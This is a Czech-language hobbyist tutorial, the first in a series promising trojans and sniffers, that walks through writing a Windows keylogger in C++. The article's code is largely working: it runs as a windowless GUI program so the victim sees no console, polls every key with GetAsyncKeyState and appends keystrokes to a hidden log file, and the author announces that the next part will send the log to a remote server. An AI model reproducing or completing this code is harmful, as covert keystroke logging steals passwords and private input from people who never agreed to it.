C++ spolu, chutne a prakticky - (1)

Zdroj: SOOM.cz [ISSN 1804-7270]
Autor: mad_eye
Datum: 4.6.2006
Hodnocení/Hlasovalo: 1/1

Vitam vas u tohoto noveho obcasniku. V tomto prvnim dile si napiseme jednoduchy win keylogger.

Chtel bych predestrit ze ocekavam od ctenaru znalost zakladu jazyka C/C++ a spise nez jejich rozebirani se tento serial bude venovat konkretnim prikladum pouziti techto znalosti v praxi. Napiseme si sniffery, scannery, trojany, terminalove klienty a mnoho dalsiho. Pod windows budu pouzivat freewarove prostredi Dev-C++, v linexech potom GNU C/C++ Tak tedy konec kecu a vzhuru do prace. Dnes budeme prgat keylogger.

#include
#include
#include
#include
using namespace std;//Datovy typ string se nam bude hodit

void klavesa(int key){
   string prd;
   ofstream out(".\\key.txt",ios::app);//oteviram datovy stream pro zapis na konec souboru
   prd = vkctostring(key);//konvertuju virtual key code klavesy do rozumneho tvaru(slovni chrakterizaci klavesy ci odpovidajici ascii hodnoty)
   out << prd;//zapisuji do streamu
}

int WINAPI WinMain (HINSTANCE instance, HINSTANCE previous, LPSTR commandline, int show)//Psano jako winaplikace, dos prompt okno na nenapadnosti neprida
{
   int key;
   while(1){ //nekonecne cyklim
      for(key=8;key<=190;key++){//projizdim vsechny myslitelne keykody
         if (GetAsyncKeyState(key) == -32767)klavesa(key);//kdyz je stlacena klavesa s dannym keycodem predaam ho funkci klavesa() pro dalsi zpracovani
      }
   }
return (0);
}

Jak jste si jiste vsimli, chybi zde funkce vkctostring() slouzici pro konvert virtualniho keycodu na jeho adekvatni stringovy protejsek. To je prostor pro ono "spolu" avizovane v nadpisu. Tesim se na vase navrhy v diskuzi pod clankem. To je pro tuto chvili vse, priste obsah logfilu posleme vzdalenemu PHP scriptu, ktery nam ho ulozi na webovy server.